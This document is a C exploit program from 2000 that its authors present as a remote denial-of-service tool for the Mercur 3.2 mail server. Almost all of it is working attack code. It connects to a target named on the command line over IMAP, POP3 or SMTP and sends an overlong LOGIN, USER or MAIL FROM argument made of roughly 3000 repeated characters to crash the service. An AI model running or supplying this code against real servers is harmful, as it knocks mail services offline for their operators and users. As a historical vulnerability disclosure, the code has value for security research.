Remote DoS for Mercur 3.2

/*

• Remote Denial of Service for Mercur 3.2
• (C) |[TDP]| - HaCk-13 TeaM - 2000 <[email protected]>
• This code shows a Mercur 3.2 vulnerability in which, any remote
• user can cause server shutdown. Previous Mercur versions may be
• affected by this vulnerability.
• Greetings to all the other members and all my friends :)
  */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

void
usage (char *progname)
{
fprintf (stderr, "Usage: %s <hostname> [type]\n", progname);
fprintf (stderr, " Type:\n");
fprintf (stderr, " 0 - IMAP4 (Default)\n");
fprintf (stderr, " 1 - POP3\n");
fprintf (stderr, " 2 - SMTP\n\n");
exit (1);
}

int
main (int argc, char **argv)
{
char *ptr, buffer[3000], remotedos[3100];
int aux, sock, type;
struct sockaddr_in sin;
unsigned long ip;
struct hostent *he;

fprintf (stderr,
"\n-= Remote DoS for Mercur 3.2 - (C) |[TDP]| - H13 Team =-\n");

if (argc < 2)
usage (argv[0]);

type = 0;
if (argc > 2)
type = atol (argv[2]);

ptr = buffer;
switch (type)
{
case 1:
memset (ptr, 0, 2048);
memset (ptr, 88, 2046);
break;
default:
memset (ptr, 0, sizeof (buffer));
memset (ptr, 88, sizeof (buffer) - 2);
break;
}

bzero (remotedos, sizeof (remotedos));

switch (type)
{
case 1:
snprintf (remotedos, sizeof (remotedos), "USER %s\r\n\r\n\r\n",
buffer);
break;
case 2:
snprintf (remotedos, sizeof (remotedos),
"MAIL FROM: %[email protected]\r\n\r\n\r\n", buffer);
break;
default:
snprintf (remotedos, sizeof (remotedos), "1000 LOGIN %s\r\n\r\n\r\n",
buffer);
break;
}

if ((sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror ("socket()");
return -1;
}

if ((he = gethostbyname (argv[1])) != NULL)
{
ip = *(unsigned long *) he->h_addr;
}
else
{
if ((ip = inet_addr (argv[1])) == NULL)
{
perror ("inet_addr()");
return -1;
}
}

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ip;

switch (type)
{
case 1:
sin.sin_port = htons (110);
break;
case 2:
sin.sin_port = htons (25);
break;
default:
sin.sin_port = htons (143);
break;
}

if (connect (sock, (struct sockaddr *) &sin, sizeof (sin)) < 0)
{
perror ("connect()");
return -1;
}

switch (type)
{
case 1:
fprintf (stderr, "\nEngaged Mercur POP3… Sending data…\n");
break;
case 2:
fprintf (stderr, "\nEngaged Mercur SMTP… Sending data…\n");
break;
default:
fprintf (stderr, "\nEngaged Mercur IMAP4… Sending data…\n");
break;
}

if (write (sock, remotedos, strlen (remotedos)) < strlen (remotedos))
{
perror ("write()");
return -1;
}

sleep (4);

fprintf (stderr, "Bye Bye baby!..\n\n");
if (close (sock) < 0)
{
perror ("close()");
return -1;
}

return (0);
}